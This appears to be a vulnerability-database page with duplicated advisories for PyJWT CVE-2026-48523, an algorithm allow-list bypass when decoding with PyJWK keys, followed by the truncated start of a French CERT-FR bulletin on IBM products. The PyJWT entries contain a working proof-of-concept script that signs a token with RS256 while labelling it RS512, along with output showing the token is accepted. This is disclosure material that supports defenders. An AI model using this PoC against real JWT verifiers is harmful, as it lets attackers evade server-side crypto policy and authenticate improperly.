algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.13.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "strands-agents-sops",
"purl": "pkg:brew/strands-agents-sops"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.13.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.13.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-strands-agents-sops-CVE-2026-48523",
"modified": "2026-09-10T21:05:20Z",
"published": "2026-08-13T17:41:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-SYSAIDMIN-CVE-2026-48523 (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:42 – Updated: 2026-09-10 01:24 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.13.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "sysaidmin",
"purl": "pkg:brew/sysaidmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.5_19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.13.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.13.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-sysaidmin-CVE-2026-48523",
"modified": "2026-09-10T01:24:31Z",
"published": "2026-08-13T17:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
CERTFR-2026-AVI-0933
Vulnerability from certfr_avis - Published: 2026-07-24 - Updated: 2026-07-24
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | QRadar Assistant | QRadar AI Assistant versions antérieures à 2.1.0 | ||
| IBM | Sterling | Sterling B2B Integrator et Sterling File Gateway versions 6.2.2.x antérieures à 6.2.2.1 | ||
| IBM | Sterling | Sterling B2B Integrator et Sterling File Gateway versions 6.2.1.x antérieures à 6.2.1.2 | ||
| IBM | QRadar SIEM | QRadar SIEM versions 7.5.x antérieures à 7.5.0 UP15 IF05 | ||
| IBM | Sterling | Sterling Connect:Direct Web Services versions 6.4.x antérieures à 6.4.0.9 | ||
| IBM | Tivoli | Tivoli System Automation Application Manager 4.1 avec WebSphere Application Server versions 8.5 ou 9.0 sans les derniers correctifs de sécurité | ||
| IBM | Cognos Command Center | Cognos Command Center versions 12.2.4.1 à 12.2.5 FP1 IF3 antérieures à 12.2.5 FP1 IF4 | ||
| IBM | AIX | AIX versions 7.2 et 7.3 sans le dernier correctif de sécurité | ||
| IBM | Sterling | Sterling Connect:Direct Web Services versions 6.3.x antérieures à 6.3.0.20 | ||
| IBM | Sterling | Sterling B2B Integrator et Sterling File Gateway versions 6.2.0.x antérieures à 6.2.0.6_1 | ||
| IBM | WebSphere | WebSphere Application Server - Liberty versions 17.0.0.3 à 26.0.0.7 sans les correctifs de sécurité temporaires PH71839 et PH72167 ou antérieures à 26.0.0.8 (disponibilité prévue pour le troisième trimestre 2026) | ||
| IBM | Tivoli | Tivoli Composite Application Manager for Applications WebSphere MQ Monitoring Agent version 7.3.0 Fix Pack 4 sans le dernier correctif pour Tivoli Monitoring | ||
| IBM | VIOS | VIOS version 4.1 sans le dernier correctif de sécurité | ||
| IBM | Sterling | Sterling B2B Integrator et Sterling File Gateway versions 6.1.2.x antérieures à 6.1.2.8 | ||
| IBM | Tivoli | Tivoli Application Dependency Discovery Manager versions 7.3.0.0 à 7.3.0.12 avec WebSphere Application Server Liberty versions antérieures à 26.0.0.7 |
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "QRadar AI Assistant versions ant\u00e9rieures \u00e0 2.1.0",
"product": {
"name": "QRadar Assistant",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling B2B Integrator et Sterling File Gateway versions 6.2.2.x ant\u00e9rieures \u00e0 6.2.2.1",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling B2B Integrator et Sterling File Gateway versions 6.2.1.x ant\u00e9rieures \u00e0 6.2.1.2",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP15 IF05",
"product": {
"name": "QRadar SIEM",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct Web Services versions 6.4.x ant\u00e9rieures \u00e0 6.4.0.9",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli System Automation Application Manager 4.1 avec WebSphere Application Server versions 8.5 ou 9.0 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Cognos Command Center versions 12.2.4.1 \u00e0 12.2.5 FP1 IF3 ant\u00e9rieures \u00e0 12.2.5 FP1 IF4",
"product": {
"name": "Cognos Command Center",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "AIX versions 7.2 et 7.3 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "AIX",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct Web Services versions 6.3.x ant\u00e9rieures \u00e0 6.3.0.20",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling B2B Integrator et Sterling File Gateway versions 6.2.0.x ant\u00e9rieures \u00e0 6.2.0.6_1",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Application Server - Liberty versions 17.0.0.3 \u00e0 26.0.0.7 sans les correctifs de s\u00e9curit\u00e9 temporaires PH71839 et PH72167 ou ant\u00e9rieures \u00e0 26.0.0.8 (disponibilit\u00e9 pr\u00e9vue pour le troisi\u00e8me trimestre 2026)",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Composite Application Manager for Applications WebSphere MQ Monitoring Agent version 7.3.0 Fix Pack 4 sans le dernier correctif pour Tivoli Monitoring",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "VIOS version 4.1 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "VIOS",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling B2B Integrator et Sterling File Gateway versions 6.1.2.x ant\u00e9rieures \u00e0 6.1.2.8",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Application Dependency Discovery Manager versions 7.3.0.0 \u00e0 7.3.0.12 avec WebSphere Application Server Liberty versions ant\u00e9rieures \u00e0 26.0.0.7",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-53540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53540"
},
{
"name": "CVE-2026-54283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54283"
},
{
